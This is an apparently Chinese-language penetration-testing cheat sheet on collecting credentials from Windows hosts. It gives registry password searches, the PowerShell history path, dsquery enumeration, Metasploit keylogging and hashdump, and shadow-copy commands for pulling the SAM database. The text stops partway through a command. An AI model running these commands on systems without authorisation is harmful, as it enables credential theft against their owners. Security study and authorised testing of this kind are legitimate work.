windows本地凭据获取

明文文件

# 可以在以下几种地方找到明文文件
命令历史记录
配置文件（Web 应用程序、FTP 文件等）
与 Windows 应用程序相关的其他文件（Internet 浏览器、电子邮件客户端等）
备份文件
共享文件和文件夹
注册表
源代码
# 可能找到密码的方式
数据库文件
密码管理器
内存转储
活动目录
网络嗅探

# 举例
## PowerShell历史命令
C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# 在windows注册表找passward关键字
reg query HKLM /f password /t REG_SZ /s
或
reg query HKCU /f password /t REG_SZ /s

# AD环境枚举
## ADEnum
https://github.com/Leo4j/Invoke-ADEnum
## cmd
dsquery user -limit 0 | dsget user -samid -desc > user_descriptions.txt

本地windows凭据

# 采用键盘记录器
可以使用Metasploit框架进行键盘记录
# SAM文件
## Metasploit 的 HashDump
hashdump # Metasploit下

# 卷复制服务
1、使用管理员权限运行标准cmd.exe提示符。
2、执行 wmic 命令以创建 C： drive 的复制卷影
	wmic shadowcopy call create Volume='C:\'
3、验证步骤 2 中的创建是否可用。
	vssadmin list shadows
4、从我们在步骤 2 中创建的卷中复制 SAM 数据库
	copy \\?\GLOBALROOT\Device\Hardd